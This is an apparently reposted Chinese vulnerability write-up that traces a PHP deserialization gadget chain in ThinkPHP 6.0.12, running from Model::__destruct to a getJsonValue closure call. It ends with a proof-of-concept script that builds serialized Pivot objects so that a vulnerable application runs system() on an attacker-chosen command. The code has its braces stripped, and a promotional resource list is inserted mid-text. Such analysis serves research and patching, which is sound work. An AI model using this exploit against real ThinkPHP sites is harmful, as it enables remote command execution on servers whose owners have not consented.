Thinkphp最新版本漏洞分析
Posted kali_Ma
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Thinkphp最新版本漏洞分析相关的知识,希望对你有一定的参考价值。
环境
Thinkphp6.0.12LTS(目前最新版本);
PHP7.3.4。
安装
composer create-project topthink/think tp6
测试代码
漏洞分析
漏洞起点不是__desturct
就是__wakeup
全局搜索下,起点在vendor\\topthink\\think-orm\\src\\Model.php
只要把this->lazySave
设为True
,就会调用了save
方法。
【一>所有资源获取<一】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记
跟进save
方法,漏洞方法是updateData
,但需要绕过①且让②为True
,①调用isEmpty
方法。
public function save(array $data = [], string $sequence = null): bool
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite'))
return false;
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
跟进isEmpty
方法,只要$this->data
不为空就行。
$this->trigger
方法默认返回就不是false
,跟进updateData
方法。漏洞方法是checkAllowFields
默认就会触发。
protected function updateData(): bool
// 事件回调
if (false === $this->trigger('BeforeUpdate'))
return false;
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data))
// 关联更新
if (!empty($this->relationWrite))
$this->autoRelationUpdate();
return true;
if ($this->autoWriteTimestamp && $this->updateTime)
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp();
$this->data[$this->updateTime] = $data[$this->updateTime];
// 检查允许字段
$allowFields = $this->checkAllowFields();
跟进checkAllowFields
方法,漏洞方法是db
,默认也是会触发该方法,继续跟进。
protected function checkAllowFields(): array
// 检测字段
if (empty($this->field))
if (!empty($this->schema))
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
else
$query = $this->db();
跟进db
方法,存在$this->table . $this->suffix
字符串拼接,可以触发__toString
魔术方法,把$this->table
设为触发__toString
类即可。
public function db($scope = []): Query
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);
if (!empty($this->table))
$query->table($this->table . $this->suffix);
全局搜索__toString
方法,最后选择vendor\\topthink\\think-orm\\src\\model\\concern\\Conversion.php
类中的__toString
方法。
跟进__toString
方法,调用了toJson
方法。
跟进toJson
方法,调用了toArray
方法,然后以JSON格式返回。
跟进toArray
方法,漏洞方法是getAtrr
默认就会触发,只需把$data
设为数组就行。
public function toArray(): array
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val)
if (is_string($val))
if (strpos($val, '.'))
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
else
$this->visible[$val] = true;
$hasVisible = true;
unset($this->visible[$key]);
foreach ($this->hidden as $key => $val)
if (is_string($val))
if (strpos($val, '.'))
[$relation, $name] = explode('.', $val);
$this->hidden[$relation][] = $name;
else
$this->hidden[$val] = true;
unset($this->hidden[$key]);
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val)
if ($val instanceof Model || $val instanceof ModelCollection)
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key]))
$val->visible($this->visible[$key]);
elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key]))
$val->hidden($this->hidden[$key]);
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key])
$item[$key] = $val->toArray();
elseif (isset($this->visible[$key]))
$item[$key] = $this->getAttr($key);
elseif (!isset($this->hidden[$key]) && !$hasVisible)
$item[$key] = $this->getAttr($key);
跟进getAttr
方法,漏洞方法是getValue
,但传入getValue
方法中的$value
是由getData
方法得到的。
public function getAttr(string $name)
try
$relation = false;
$value = $this->getData($name);
catch (InvalidArgumentException $e)
$relation = $this->isRelationAttr($name);
$value = null;
return $this->getValue($name, $value, $relation);
跟进getData
方法,$this->data
可控,$fieldName
来自getRealFieldName
方法。
跟进getRealFieldName
方法,默认直接返回传入的参数。所以$fieldName
也可控,也就是传入getValue
的$value
参数可控。
跟进getValue
方法,在Thinkphp6.0.8触发的漏洞点在①处,但在Thinkphp6.0.12时已经对传入的$closure
进行判断。此次漏洞方法的getJsonValue
方法。但需要经过两个if判断,$this->withAttr
和$this->json
都可控,可顺利进入getJsonValue
方法。
protected function getValue(string $name, $value, $relation = false)
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->get))
return $this->get[$fieldName];
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName]))
if ($relation)
$value = $this->getRelationValue($relation);
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName]))
$value = $this->getJsonValue($fieldName, $value);
跟进getJsonValue
方法,触发漏洞的点在$closure($value[$key], $value)
只要令$this->jsonAssoc
为True
就行。
$closure
和$value
都可控。
protected function getJsonValue($name, $value)
if (is_null($value))
return $value;
foreach ($this->withAttr[$name] as $key => $closure)
if ($this->jsonAssoc)
$value[$key] = $closure($value[$key], $value);
完整POP链条
POC编写
<?php
namespace think
abstract class Model
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = '')
$this->lazySave = True;
$this->data = ['whoami' => ['dir']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
namespace think\\model
use think\\Model;
class Pivot extends Model
namespace
echo(base64_encode(serialize(new think\\model\\Pivot(new think\\model\\Pivot()))));
利用
以上是关于Thinkphp最新版本漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章
thinkphp 最新版本5.0到5.1高危漏洞爆发可直接提权getshell